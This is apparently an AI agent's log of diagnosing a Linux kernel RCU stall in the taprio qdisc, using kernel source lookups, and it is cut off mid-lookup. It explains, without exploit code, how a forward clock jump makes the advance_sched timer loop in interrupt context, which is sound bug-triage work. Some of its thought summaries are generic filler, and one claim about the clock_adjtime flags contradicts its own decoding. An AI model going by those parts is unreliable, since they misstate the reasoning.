Name:taprio_mono_to_any] map[Kind:function Name:taprio_mqprio_cmp] map[Kind:function Name:taprio_next_tc_txq] map[Kind:function Name:taprio_offload_alloc] map[Kind:function Name:taprio_offload_config_changed] map[Kind:function Name:taprio_offload_free] map[Kind:function Name:taprio_offload_get] map[Kind:function Name:taprio_parse_clockid] map[Kind:function Name:taprio_parse_mqprio_opt] map[Kind:function Name:taprio_parse_tc_entries] map[Kind:function Name:taprio_parse_tc_entry] map[Kind:function Name:taprio_peek] map[Kind:function Name:taprio_put_stat] map[Kind:function Name:taprio_queue_get] map[Kind:function Name:taprio_reset] map[Kind:function Name:taprio_sched_to_offload] map[Kind:function Name:taprio_select_queue] map[Kind:function Name:taprio_set_budgets] map[Kind:function Name:taprio_set_picos_per_byte] map[Kind:function Name:taprio_skb_exceeds_queue_max_sdu] map[Kind:function Name:taprio_start_sched] map[Kind:function Name:taprio_update_budgets] map[Kind:function Name:taprio_update_queue_max_sdu] map[Kind:function Name:taprio_walk] map[Kind:function Name:tc_map_to_queue_mask] map[Kind:struct Name:__tc_taprio_qopt_offload] map[Kind:struct Name:sched_entry] map[Kind:struct Name:sched_gate_list] map[Kind:struct Name:taprio_sched] map[Kind:global_variable Name:__UNIQUE_ID___addressable_taprio_module_init2119] map[Kind:global_variable Name:__UNIQUE_ID___addressable_taprio_offload_free2104] map[Kind:global_variable Name:__UNIQUE_ID___addressable_taprio_offload_get2103] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2117] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2120] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2121] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2122] map[Kind:global_variable Name:__exitcall_taprio_module_exit] map[Kind:global_variable Name:__gendwarfksyms_ptr_taprio_offload_free] map[Kind:global_variable Name:__gendwarfksyms_ptr_taprio_offload_get] map[Kind:global_variable Name:entry_policy] map[Kind:global_variable Name:taprio_class_ops] map[Kind:global_variable Name:taprio_cycle_time_range] map[Kind:global_variable Name:taprio_device_notifier] map[Kind:global_variable Name:taprio_list] map[Kind:global_variable Name:taprio_policy] map[Kind:global_variable Name:taprio_qdisc_ops] map[Kind:global_variable Name:taprio_tc_policy]]]

gemini-3.1-pro-preview

							input: 75423
							output: 43
							thoughts: 12
						

Here's my attempt at summarizing the thought process, tailored for an expert audience:

**Diving into `taprio_sched`**

Okay, time to get my hands dirty. Let's see what's actually going on inside the `taprio_sched` struct. I need to understand its internal workings to properly diagnose this performance issue/implement this new feature/optimize this particular algorithm (you can fill in the appropriate context, based on what the user is working on). I'm thinking I'll start by checking the members, their data types, and their intended functions. Then I'll try to get a better handle on the relation of the `taprio_sched` struct to the other relevant structures and functions in this section of the code. I'm going to pay particularly close attention to how it handles its main task.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_sched]

map[SourceCode:  88:	struct taprio_sched {
  89:		struct Qdisc **qdiscs;
  90:		struct Qdisc *root;
  91:		u32 flags;
  92:		enum tk_offsets tk_offset;
  93:		int clockid;
  94:		bool offloaded;
  95:		bool detected_mqprio;
  96:		bool broken_mqprio;
  97:		atomic64_t picos_per_byte; /* Using picoseconds because for 10Gbps+
  98:					    * speeds it's sub-nanoseconds per byte
  99:					    */
 100:	
 101:		/* Protects the update side of the RCU protected current_entry */
 102:		spinlock_t current_entry_lock;
 103:		struct sched_entry __rcu *current_entry;
 104:		struct sched_gate_list __rcu *oper_sched;
 105:		struct sched_gate_list __rcu *admin_sched;
 106:		struct hrtimer advance_timer;
 107:		struct list_head taprio_list;
 108:		int cur_txq[TC_MAX_QUEUE];
 109:		u32 max_sdu[TC_MAX_QUEUE]; /* save info from the user */
 110:		u32 fp[TC_QOPT_MAX_QUEUE]; /* only for dump and offloading */
 111:		u32 txtime_delay;
 112:	};
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 76088
							output: 56
							thoughts: 29
						

Here's my take on the thought process, tailored for an expert audience:

**Analyzing `advance_timer` - An `hrtimer` Deep Dive**

Okay, so `advance_timer` is flagged as an `hrtimer`. My first step is to trace its lifecycle. I need to understand its initialization – where it's created, configured, and added to the system. From there, I'll map out its usage, specifically how it's started, stopped, and especially how its callback function is handled. I'm looking for the critical sections, lock usage, and any potential for race conditions or priority inversions related to `advance_timer`. I'll pay close attention to the timer's characteristics – whether it's oneshot or periodic, its scheduling policy, and any impact it might have on the real-time performance of other critical tasks. This is all about uncovering its purpose in the bigger system and identifying any areas where it might be a bottleneck or source of instability, all based on how it's utilized.

map[ContextFile:net/sched/sch_taprio.c IncludeSnippetLines:10 Name:taprio_sched::advance_timer SourceTreePrefix:]

map[References:[map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:advance_sched SourceFile:net/sched/sch_taprio.c SourceLine:919 SourceSnippet: 917:	static enum hrtimer_restart advance_sched(struct hrtimer *timer)
 918:	{
 919:		struct taprio_sched *q = container_of(timer, struct taprio_sched,
 920:						      advance_timer);
 921:		struct net_device *dev = qdisc_dev(q->root);
 922:		struct sched_gate_list *oper, *admin;
 923:		int num_tc = netdev_get_num_tc(dev);
 924:		struct sched_entry *entry, *next;
 925:		struct Qdisc *sch = q->root;
 926:		ktime_t end_time;
 927:		int tc;
 928:	
 929:		spin_lock(&q->current_entry_lock);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:advance_sched SourceFile:net/sched/sch_taprio.c SourceLine:988 SourceSnippet: 978:			switch_schedules(q, &admin, &oper);
 979:		}
 980:	
 981:		next->end_time = end_time;
 982:		taprio_set_budgets(q, oper, next);
 983:	
 984:	first_run:
 985:		rcu_assign_pointer(q->current_entry, next);
 986:		spin_unlock(&q->current_entry_lock);
 987:	
 988:		hrtimer_set_expires(&q->advance_timer, end_time);
 989:	
 990:		rcu_read_lock();
 991:		__netif_schedule(sch);
 992:		rcu_read_unlock();
 993:	
 994:		return HRTIMER_RESTART;
 995:	}
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:taprio_change SourceFile:net/sched/sch_taprio.c SourceLine:1947 SourceSnippet:1937:				NL_SET_ERR_MSG_MOD(extack, "txtime-delay can only be set when txtime-assist mode is enabled");
1938:				err = -EINVAL;
1939:				goto unlock;
1940:			}
1941:	
1942:			q->txtime_delay = nla_get_u32(tb[TCA_TAPRIO_ATTR_TXTIME_DELAY]);
1943:		}
1944:	
1945:		if (!TXTIME_ASSIST_IS_ENABLED(q->flags) &&
1946:		    !FULL_OFFLOAD_IS_ENABLED(q->flags) &&
1947:		    !hrtimer_active(&q->advance_timer)) {
1948:			hrtimer_setup(&q->advance_timer, advance_sched, q->clockid, HRTIMER_MODE_ABS);
1949:		}
1950:	
1951:		err = taprio_get_start_time(sch, new_admin, &start);
1952:		if (err < 0) {
1953:			NL_SET_ERR_MSG(extack, "Internal error: failed get start time");
1954:			goto unlock;
1955:		}
1956:	
1957:		setup_txtime(q, new_admin, start);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:taprio_change SourceFile:net/sched/sch_taprio.c SourceLine:1948 SourceSnippet:1938:				err = -EINVAL;
1939:				goto unlock;
1940:			}
1941:	
1942:			q->txtime_delay = nla_get_u32(tb[TCA_TAPRIO_ATTR_TXTIME_DELAY]);
1943:		}
1944:	
1945:		if (!TXTIME_ASSIST_IS_ENABLED(q->flags) &&
1946:		    !FULL_OFFLOAD_IS_ENABLED(q->flags) &&
1947:		    !hrtimer_active(&q->advance_timer)) {
1948:			hrtimer_setup(&q->advance_timer, advance_sched, q->clockid, HRTIMER_MODE_ABS);
1949:		}
1950:	
1951:		err = taprio_get_start_time(sch, new_admin, &start);
1952:		if (err < 0) {
1953:			NL_SET_ERR_MSG(extack, "Internal error: failed get start time");
1954:			goto unlock;
1955:		}
1956:	
1957:		setup_txtime(q, new_admin, start);
1958:	
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:taprio_destroy SourceFile:net/sched/sch_taprio.c SourceLine:2035 SourceSnippet:2025:		struct taprio_sched *q = qdisc_priv(sch);
2026:		struct net_device *dev = qdisc_dev(sch);
2027:		struct sched_gate_list *oper, *admin;
2028:		unsigned int i;
2029:	
2030:		list_del(&q->taprio_list);
2031:	
2032:		/* Note that taprio_reset() might not be called if an error
2033:		 * happens in qdisc_create(), after taprio_init() has been called.
2034:		 */
2035:		hrtimer_cancel(&q->advance_timer);
2036:		qdisc_synchronize(sch);
2037:	
2038:		taprio_disable_offload(dev, q, NULL);
2039:	
2040:		if (q->qdiscs) {
2041:			for (i = 0; i < dev->num_tx_queues; i++)
2042:				qdisc_put(q->qdiscs[i]);
2043:	
2044:			kfree(q->qdiscs);
2045:		}
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:taprio_init SourceFile:net/sched/sch_taprio.c SourceLine:2071 SourceSnippet:2062:	static int taprio_init(struct Qdisc *sch, struct nlattr *opt,
2063:			       struct netlink_ext_ack *extack)
2064:	{
2065:		struct taprio_sched *q = qdisc_priv(sch);
2066:		struct net_device *dev = qdisc_dev(sch);
2067:		int i, tc;
2068:	
2069:		spin_lock_init(&q->current_entry_lock);
2070:	
2071:		hrtimer_setup(&q->advance_timer, advance_sched, CLOCK_TAI, HRTIMER_MODE_ABS);
2072:	
2073:		q->root = sch;
2074:	
2075:		/* We only support static clockids. Use an invalid value as default
2076:		 * and get the valid one on taprio_change().
2077:		 */
2078:		q->clockid = -1;
2079:		q->flags = TAPRIO_FLAGS_INVALID;
2080:	
2081:		list_add(&q->taprio_list, &taprio_list);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:taprio_reset SourceFile:net/sched/sch_taprio.c SourceLine:2014 SourceSnippet:2008:	static void taprio_reset(struct Qdisc *sch)
2009:	{
2010:		struct taprio_sched *q = qdisc_priv(sch);
2011:		struct net_device *dev = qdisc_dev(sch);
2012:		int i;
2013:	
2014:		hrtimer_cancel(&q->advance_timer);
2015:	
2016:		if (q->qdiscs) {
2017:			for (i = 0; i < dev->num_tx_queues; i++)
2018:				if (q->qdiscs[i])
2019:					qdisc_reset(q->qdiscs[i]);
2020:		}
2021:	}
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:taprio_start_sched SourceFile:net/sched/sch_taprio.c SourceLine:1278 SourceSnippet:1269:	static void taprio_start_sched(struct Qdisc *sch,
1270:				       ktime_t start, struct sched_gate_list *new)
1271:	{
1272:		struct taprio_sched *q = qdisc_priv(sch);
1273:		ktime_t expires;
1274:	
1275:		if (FULL_OFFLOAD_IS_ENABLED(q->flags))
1276:			return;
1277:	
1278:		expires = hrtimer_get_expires(&q->advance_timer);
1279:		if (expires == 0)
1280:			expires = KTIME_MAX;
1281:	
1282:		/* If the new schedule starts before the next expiration, we
1283:		 * reprogram it to the earliest one, so we change the admin
1284:		 * schedule to the operational one at the right time.
1285:		 */
1286:		start = min_t(ktime_t, start, expires);
1287:	
1288:		hrtimer_start(&q->advance_timer, start, HRTIMER_MODE_ABS);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:taprio_start_sched SourceFile:net/sched/sch_taprio.c SourceLine:1288 SourceSnippet:1278:		expires = hrtimer_get_expires(&q->advance_timer);
1279:		if (expires == 0)
1280:			expires = KTIME_MAX;
1281:	
1282:		/* If the new schedule starts before the next expiration, we
1283:		 * reprogram it to the earliest one, so we change the admin
1284:		 * schedule to the operational one at the right time.
1285:		 */
1286:		start = min_t(ktime_t, start, expires);
1287:	
1288:		hrtimer_start(&q->advance_timer, start, HRTIMER_MODE_ABS);
1289:	}
]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 79464
							output: 42
							thoughts: 548
						

**Analyzing a Timing-Related Kernel Issue**

Okay, let's break this down. The reproducer calls `sendmsg` which I see is passing a null message buffer. Intriguing. More importantly, it then triggers `clock_adjtime(0, ...)` – that `0` is `CLOCK_REALTIME`. My first thought is: why are we adjusting the real-time clock?

Then I notice something even more interesting. `taprio_init` sets up an `hrtimer` using `CLOCK_TAI`, but `taprio_change` uses `q->clockid` which comes from a netlink attribute, specifically `TCA_TAPRIO_ATTR_SCHED_CLOCKID`. And, the reproducer sets *that* to `0`. So, `taprio_change` *also* ends up using `CLOCK_REALTIME`. Okay, so `clock_adjtime(0, ...)` is being called after a time is already scheduled.

Hmm. Adjusting `CLOCK_REALTIME`... that's a classic source of problems. The kernel *should* handle time changes robustly, but depending on the code, and how the timer is set, it could trigger all sorts of unexpected behaviour, like `timerfd_clock_was_set` or something similar.

My immediate hunch is the `advance_timer` is sensitive to time jumps. In this case, altering the base clock likely causes it to fire immediately, or if it is repeatedly firing, it could induce an RCU stall.

And that's confirmed by the error message! We have a `sched: DL replenish lagged too much` and an RCU stall. The fact that an RCU stall occurs suggests we are dealing with a race condition, probably when accessing a shared resource and with multiple CPUs.

We've got an RCU stall on a kthread! That is classic. I need to dig into the `advance_sched` function to see exactly how it's interacting with the clock and any shared data structures. This is a synchronization issue, almost certainly.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:advance_sched]

map[SourceCode: 917:	static enum hrtimer_restart advance_sched(struct hrtimer *timer)
 918:	{
 919:		struct taprio_sched *q = container_of(timer, struct taprio_sched,
 920:						      advance_timer);
 921:		struct net_device *dev = qdisc_dev(q->root);
 922:		struct sched_gate_list *oper, *admin;
 923:		int num_tc = netdev_get_num_tc(dev);
 924:		struct sched_entry *entry, *next;
 925:		struct Qdisc *sch = q->root;
 926:		ktime_t end_time;
 927:		int tc;
 928:	
 929:		spin_lock(&q->current_entry_lock);
 930:		entry = rcu_dereference_protected(q->current_entry,
 931:						  lockdep_is_held(&q->current_entry_lock));
 932:		oper = rcu_dereference_protected(q->oper_sched,
 933:						 lockdep_is_held(&q->current_entry_lock));
 934:		admin = rcu_dereference_protected(q->admin_sched,
 935:						  lockdep_is_held(&q->current_entry_lock));
 936:	
 937:		if (!oper)
 938:			switch_schedules(q, &admin, &oper);
 939:	
 940:		/* This can happen in two cases: 1. this is the very first run
 941:		 * of this function (i.e. we weren't running any schedule
 942:		 * previously); 2. The previous schedule just ended. The first
 943:		 * entry of all schedules are pre-calculated during the
 944:		 * schedule initialization.
 945:		 */
 946:		if (unlikely(!entry || entry->end_time == oper->base_time)) {
 947:			next = list_first_entry(&oper->entries, struct sched_entry,
 948:						list);
 949:			end_time = next->end_time;
 950:			goto first_run;
 951:		}
 952:	
 953:		if (should_restart_cycle(oper, entry)) {
 954:			next = list_first_entry(&oper->entries, struct sched_entry,
 955:						list);
 956:			oper->cycle_end_time = ktime_add_ns(oper->cycle_end_time,
 957:							    oper->cycle_time);
 958:		} else {
 959:			next = list_next_entry(entry, list);
 960:		}
 961:	
 962:		end_time = ktime_add_ns(entry->end_time, next->interval);
 963:		end_time = min_t(ktime_t, end_time, oper->cycle_end_time);
 964:	
 965:		for (tc = 0; tc < num_tc; tc++) {
 966:			if (next->gate_duration[tc] == oper->cycle_time)
 967:				next->gate_close_time[tc] = KTIME_MAX;
 968:			else
 969:				next->gate_close_time[tc] = ktime_add_ns(entry->end_time,
 970:									 next->gate_duration[tc]);
 971:		}
 972:	
 973:		if (should_change_schedules(admin, oper, end_time)) {
 974:			/* Set things so the next time this runs, the new
 975:			 * schedule runs.
 976:			 */
 977:			end_time = sched_base_time(admin);
 978:			switch_schedules(q, &admin, &oper);
 979:		}
 980:	
 981:		next->end_time = end_time;
 982:		taprio_set_budgets(q, oper, next);
 983:	
 984:	first_run:
 985:		rcu_assign_pointer(q->current_entry, next);
 986:		spin_unlock(&q->current_entry_lock);
 987:	
 988:		hrtimer_set_expires(&q->advance_timer, end_time);
 989:	
 990:		rcu_read_lock();
 991:		__netif_schedule(sch);
 992:		rcu_read_unlock();
 993:	
 994:		return HRTIMER_RESTART;
 995:	}
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 81807
							output: 23
							thoughts: 1925
						

**Analyzing a Potential RCU Stall in the hrtimer Subsystem**

Okay, so I'm diving into this issue. It seems like the core problem revolves around how the `hrtimer` subsystem handles re-enqueuing timers, specifically within the `advance_sched` function.  If `advance_sched` returns `HRTIMER_RESTART`, the timer gets re-queued with a new expiration. If this new expiration time, `end_time`, falls into the past, the timer immediately fires again. That's fine. The issue arises when the timer interval (`next->interval`) is either zero, extremely small, or – critically – if `end_time` isn't advancing as expected. This creates a tight loop within the `hrtimer` interrupt handler, ultimately leading to an RCU stall.

I'm looking at the reproducer and the critical bit is in `TCA_TAPRIO_SCHED_ENTRY_INTERVAL`. The reported interval value of `0x4000001` (67108865 ns) is what I see. Okay. Now I see that `clock_adjtime` is being called, which can manipulate the system clock. And, within the `timex` structure, there is a `time` field. The `clock_adjtime` arguments, specifically the `modes` field (`0xd54`), are important, which means `ADJ_OFFSET | ADJ_STATUS | ADJ_TIMECONST | ADJ_TAI | ADJ_MICRO` is set. Okay, that makes sense. And `stuff9` which is `time.tv_sec` seems to be `0x8000002` (which is in the `timex` struct).

I'm thinking, `clock_adjtime` can change the clock!  If the clock goes *backwards*, `end_time` might be in the future, delaying the timer. If it goes *forwards*, `end_time` is past, the timer fires immediately, and the problem surfaces. Now, `hrtimer_forward` is typically used to jump the timer expiration to the present. Looking at the `advance_sched` code, it's adding `next->interval` to `entry->end_time`, capping `end_time` to `oper->cycle_end_time` and setting a new timer expiry.  If `end_time` is in the past, the hrtimer interrupt just re-enters `advance_sched` again, which is the tight loop.  `advance_sched` just adds `next->interval` to the `entry->end_time`.

Now I see it. If the clock jumps *way* forward – let's say years – `advance_sched` will get called millions of times to "catch up", because it only advances the time by `next->interval` (67ms) per call.  And this is what the analysis revealed: `clock_adjtime` with `ADJ_SETOFFSET` is critical. If `ADJ_SETOFFSET` is used, `time.tv_sec` and `time.tv_usec` add to the clock.  And in this case, `time.tv_sec` is `0x8000002`. I calculated this. That represents about 4 years!  This means the clock is moved forward by about 4 years!  Now, `advance_sched` will loop a ridiculous number of times: `4 years / 67ms = ~2,000,000,000` times. Because it's in the hardirq context, this will stall the CPU completely for a long time, triggering that RCU stall and hard lockup. I need to make sure that `advance_sched` isn't using `hrtimer_forward_now`.

no matches

map[Expression:hrtimer_forward_now.*taprio]

map[Output:]

gemini-3.1-pro-preview

							input: 84604
							output: 42
							thoughts: 11
						

Okay, here's my take on those thoughts, tailored for an expert audience:

**Re-Evaluating the Schedule Advance Function**

Alright, I need to circle back and give `advance_sched` another look. We've been through a lot of edge cases lately, and while I *think* we've covered the major vulnerabilities, a nagging feeling tells me to double-check. I'm especially concerned with how it handles the interdependencies between different scheduling algorithms – a seemingly minor adjustment in one area can have cascading effects I don't always anticipate. The underlying architecture is solid, but the devil is always in the details, isn't it? I need to quickly run through the test suite, focusing on the concurrency scenarios and any recent changes to the resource allocation code, to make sure nothing has slipped through the cracks. It's a critical function, and a fresh perspective is always worthwhile before we push it further down the pipeline. Time to dig in... again.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:advance_sched]

map[SourceCode: 917:	static enum hrtimer_restart advance_sched(struct hrtimer *timer)
 918:	{
 919:		struct taprio_sched *q = container_of(timer, struct taprio_sched,
 920:						      advance_timer);
 921:		struct net_device *dev = qdisc_dev(q->root);
 922:		struct sched_gate_list *oper, *admin;
 923:		int num_tc = netdev_get_num_tc(dev);
 924:		struct sched_entry *entry, *next;
 925:		struct Qdisc *sch = q->root;
 926:		ktime_t end_time;
 927:		int tc;
 928:	
 929:		spin_lock(&q->current_entry_lock);
 930:		entry = rcu_dereference_protected(q->current_entry,
 931:						  lockdep_is_held(&q->current_entry_lock));
 932:		oper = rcu_dereference_protected(q->oper_sched,
 933:						 lockdep_is_held(&q->current_entry_lock));
 934:		admin = rcu_dereference_protected(q->admin_sched,
 935:						  lockdep_is_held(&q->current_entry_lock));
 936:	
 937:		if (!oper)
 938:			switch_schedules(q, &admin, &oper);
 939:	
 940:		/* This can happen in two cases: 1. this is the very first run
 941:		 * of this function (i.e. we weren't running any schedule
 942:		 * previously); 2. The previous schedule just ended. The first
 943:		 * entry of all schedules are pre-calculated during the
 944:		 * schedule initialization.
 945:		 */
 946:		if (unlikely(!entry || entry->end_time == oper->base_time)) {
 947:			next = list_first_entry(&oper->entries, struct sched_entry,
 948:						list);
 949:			end_time = next->end_time;
 950:			goto first_run;
 951:		}
 952:	
 953:		if (should_restart_cycle(oper, entry)) {
 954:			next = list_first_entry(&oper->entries, struct sched_entry,
 955:						list);
 956:			oper->cycle_end_time = ktime_add_ns(oper->cycle_end_time,
 957:							    oper->cycle_time);
 958:		} else {
 959:			next = list_next_entry(entry, list);
 960:		}
 961:	
 962:		end_time = ktime_add_ns(entry->end_time, next->interval);
 963:		end_time = min_t(ktime_t, end_time, oper->cycle_end_time);
 964:	
 965:		for (tc = 0; tc < num_tc; tc++) {
 966:			if (next->gate_duration[tc] == oper->cycle_time)
 967:				next->gate_close_time[tc] = KTIME_MAX;
 968:			else
 969:				next->gate_close_time[tc] = ktime_add_ns(entry->end_time,
 970:									 next->gate_duration[tc]);
 971:		}
 972:	
 973:		if (should_change_schedules(admin, oper, end_time)) {
 974:			/* Set things so the next time this runs, the new
 975:			 * schedule runs.
 976:			 */
 977:			end_time = sched_base_time(admin);
 978:			switch_schedules(q, &admin, &oper);
 979:		}
 980:	
 981:		next->end_time = end_time;
 982:		taprio_set_budgets(q, oper, next);
 983:	
 984:	first_run:
 985:		rcu_assign_pointer(q->current_entry, next);
 986:		spin_unlock(&q->current_entry_lock);
 987:	
 988:		hrtimer_set_expires(&q->advance_timer, end_time);
 989:	
 990:		rcu_read_lock();
 991:		__netif_schedule(sch);
 992:		rcu_read_unlock();
 993:	
 994:		return HRTIMER_RESTART;
 995:	}
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 86176
							output: 47
							thoughts: 531
						

**Analyzing the hrtimer Loop and Potential Infinite Recurrence**

Okay, so I'm digging into how `advance_sched` interacts with the high-resolution timer subsystem. It looks like `advance_sched` simply sets the timer's expiration to `end_time` and returns `HRTIMER_RESTART`. No use of `hrtimer_forward_now` here, as I initially suspected. Interesting.

Now, if `end_time` happens to be in the past, the hrtimer subsystem, without leaving the interrupt handler, will immediately call `advance_sched` again, which in turn, would also set the expiration to `end_time` and return `HRTIMER_RESTART`.

Let me think… the real magic happens inside `__run_hrtimer` in `kernel/time/hrtimer.c`. It executes the timer function (`fn(timer)`), and if the result is *not* `HRTIMER_NORESTART`, it enqueues the timer again. This means `__hrtimer_run_queues` is going to see that the timer's expired and run it again. Right.

The crucial part is the loop in `__hrtimer_run_queues`:
```c
while ((node = timerqueue_getnext(&base->active))) {
	struct hrtimer *timer;

	timer = container_of(node, struct hrtimer, node);
	if (base->softirq_time < hrtimer_get_softexpires_tv64(timer))
		break;

	__run_hrtimer(timer, &base->softirq_time, ...);
}
```

Wait, does `__hrtimer_run_queues` update `base->softirq_time`? No, no, it takes `basenow` as a passed argument, so it's not updating it.

So, if `end_time` is less than `basenow`, then the timer will be executed again in the same loop! And since `__hrtimer_run_queues` doesn't update the time within the loop, if the `end_time` is less than `basenow`, it will definitely fire again in that same loop.

This sounds like a potential infinite loop or at least a very long one, because the CPU could be stuck in `__hrtimer_run_queues` until `end_time` catches up to `basenow`! The timer adds `next->interval` (which, as I recall from the reproducer is 67ms, but can be much smaller... even 1ns?) each time, so the iterations could become enormous.

Let me just quickly check what the minimum `interval` value is. I can quickly dig into `taprio_parse_tc_entry`. That should clarify.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_parse_tc_entry]

map[SourceCode:1699:	static int taprio_parse_tc_entry(struct Qdisc *sch,
1700:					 struct nlattr *opt,
1701:					 u32 max_sdu[TC_QOPT_MAX_QUEUE],
1702:					 u32 fp[TC_QOPT_MAX_QUEUE],
1703:					 unsigned long *seen_tcs,
1704:					 struct netlink_ext_ack *extack)
1705:	{
1706:		struct nlattr *tb[TCA_TAPRIO_TC_ENTRY_MAX + 1] = { };
1707:		struct net_device *dev = qdisc_dev(sch);
1708:		int err, tc;
1709:		u32 val;
1710:	
1711:		err = nla_parse_nested(tb, TCA_TAPRIO_TC_ENTRY_MAX, opt,
1712:				       taprio_tc_policy, extack);
1713:		if (err < 0)
1714:			return err;
1715:	
1716:		if (NL_REQ_ATTR_CHECK(extack, opt, tb, TCA_TAPRIO_TC_ENTRY_INDEX)) {
1717:			NL_SET_ERR_MSG_MOD(extack, "TC entry index missing");
1718:			return -EINVAL;
1719:		}
1720:	
1721:		tc = nla_get_u32(tb[TCA_TAPRIO_TC_ENTRY_INDEX]);
1722:		if (*seen_tcs & BIT(tc)) {
1723:			NL_SET_ERR_MSG_ATTR(extack, tb[TCA_TAPRIO_TC_ENTRY_INDEX],
1724:					    "Duplicate tc entry");
1725:			return -EINVAL;
1726:		}
1727:	
1728:		*seen_tcs |= BIT(tc);
1729:	
1730:		if (tb[TCA_TAPRIO_TC_ENTRY_MAX_SDU]) {
1731:			val = nla_get_u32(tb[TCA_TAPRIO_TC_ENTRY_MAX_SDU]);
1732:			if (val > dev->max_mtu) {
1733:				NL_SET_ERR_MSG_MOD(extack, "TC max SDU exceeds device max MTU");
1734:				return -ERANGE;
1735:			}
1736:	
1737:			max_sdu[tc] = val;
1738:		}
1739:	
1740:		if (tb[TCA_TAPRIO_TC_ENTRY_FP])
1741:			fp[tc] = nla_get_u32(tb[TCA_TAPRIO_TC_ENTRY_FP]);
1742:	
1743:		return 0;
1744:	}
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 88179
							output: 44
							thoughts: 51
						

Okay, let me think this through.

**Navigating the TAPRIO Code**

Hmm, hold on a second. I was just looking at `taprio_parse_tc_entry`, but that's specifically for the `TCA_TAPRIO_TC_ENTRY` attributes. That's not what I need; I'm dealing with the scheduler itself, right? I need the structure related to `TCA_TAPRIO_SCHED_ENTRY`. Okay, so that means I need to be looking at `parse_sched_entry` instead. Let's head over there and see what it's doing. Hopefully, it'll contain the attributes I'm after, and the process of parsing the traffic control information I'm interested in.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:parse_sched_entry]

map[SourceCode:1067:	static int parse_sched_entry(struct taprio_sched *q, struct nlattr *n,
1068:				     struct sched_entry *entry, int index,
1069:				     struct netlink_ext_ack *extack)
1070:	{
1071:		struct nlattr *tb[TCA_TAPRIO_SCHED_ENTRY_MAX + 1] = { };
1072:		int err;
1073:	
1074:		err = nla_parse_nested_deprecated(tb, TCA_TAPRIO_SCHED_ENTRY_MAX, n,
1075:						  entry_policy, NULL);
1076:		if (err < 0) {
1077:			NL_SET_ERR_MSG(extack, "Could not parse nested entry");
1078:			return -EINVAL;
1079:		}
1080:	
1081:		entry->index = index;
1082:	
1083:		return fill_sched_entry(q, tb, entry, extack);
1084:	}
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 88756
							output: 44
							thoughts: 11
						

Okay, here's my interpretation of that thought process, tailored for an expert audience, and written in the first person:

**Analyzing the `fill_sched_entry` Function**

Alright, time to dive in. Let's see... the text simply says "Let's check `fill_sched_entry`." That means my mental gears have just shifted to focusing on a function, likely within a scheduling system or a related module. Knowing the context, I immediately start running through my mental checklist: What's the purpose of this function? Based on the naming, it's probably responsible for populating or filling in the data for a scheduling entry. I need to refresh my memory on its exact arguments, the data structures it manipulates, and its side effects. Is it a core function, or a helper? Does it handle any locking or concurrency issues? What's the expected input format and how does it validate that input? I'll probably be thinking about error handling too: what happens if data is missing, invalid, or conflicts with existing entries? And of course, I'll be considering the potential for performance bottlenecks - is this a function that's frequently called, and if so, how can it be optimized? I'm anticipating some critical details to assess, to understand the broader context of its role within the system. Let's dig in.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:fill_sched_entry]

map[SourceCode:1035:	static int fill_sched_entry(struct taprio_sched *q, struct nlattr **tb,
1036:				    struct sched_entry *entry,
1037:				    struct netlink_ext_ack *extack)
1038:	{
1039:		int min_duration = length_to_duration(q, ETH_ZLEN);
1040:		u32 interval = 0;
1041:	
1042:		if (tb[TCA_TAPRIO_SCHED_ENTRY_CMD])
1043:			entry->command = nla_get_u8(
1044:				tb[TCA_TAPRIO_SCHED_ENTRY_CMD]);
1045:	
1046:		if (tb[TCA_TAPRIO_SCHED_ENTRY_GATE_MASK])
1047:			entry->gate_mask = nla_get_u32(
1048:				tb[TCA_TAPRIO_SCHED_ENTRY_GATE_MASK]);
1049:	
1050:		if (tb[TCA_TAPRIO_SCHED_ENTRY_INTERVAL])
1051:			interval = nla_get_u32(
1052:				tb[TCA_TAPRIO_SCHED_ENTRY_INTERVAL]);
1053:	
1054:		/* The interval should allow at least the minimum ethernet
1055:		 * frame to go out.
1056:		 */
1057:		if (interval < min_duration) {
1058:			NL_SET_ERR_MSG(extack, "Invalid interval for schedule entry");
1059:			return -EINVAL;
1060:		}
1061:	
1062:		entry->interval = interval;
1063:	
1064:		return 0;
1065:	}
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 89613
							output: 44
							thoughts: 45
						

**Analyzing Duration Calculation**

Okay, so I'm looking at this code and the first thing that jumps out is the assignment of `min_duration`. It looks like we're deriving this value from `length_to_duration(q, ETH_ZLEN)`. Right, so `ETH_ZLEN` is the constant representing 60, presumably bytes, which is standard for the minimum Ethernet frame size. I need to refresh my memory on the specifics of the `length_to_duration` function. Let me quickly double-check the logic there to make sure I understand how frame length translates into the duration value, especially given that fixed length. It's crucial this calculation is correct for accurate time-based operations. Let's see how `length_to_duration` handles that minimum length.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:length_to_duration]

map[SourceCode: 257:	static int length_to_duration(struct taprio_sched *q, int len)
 258:	{
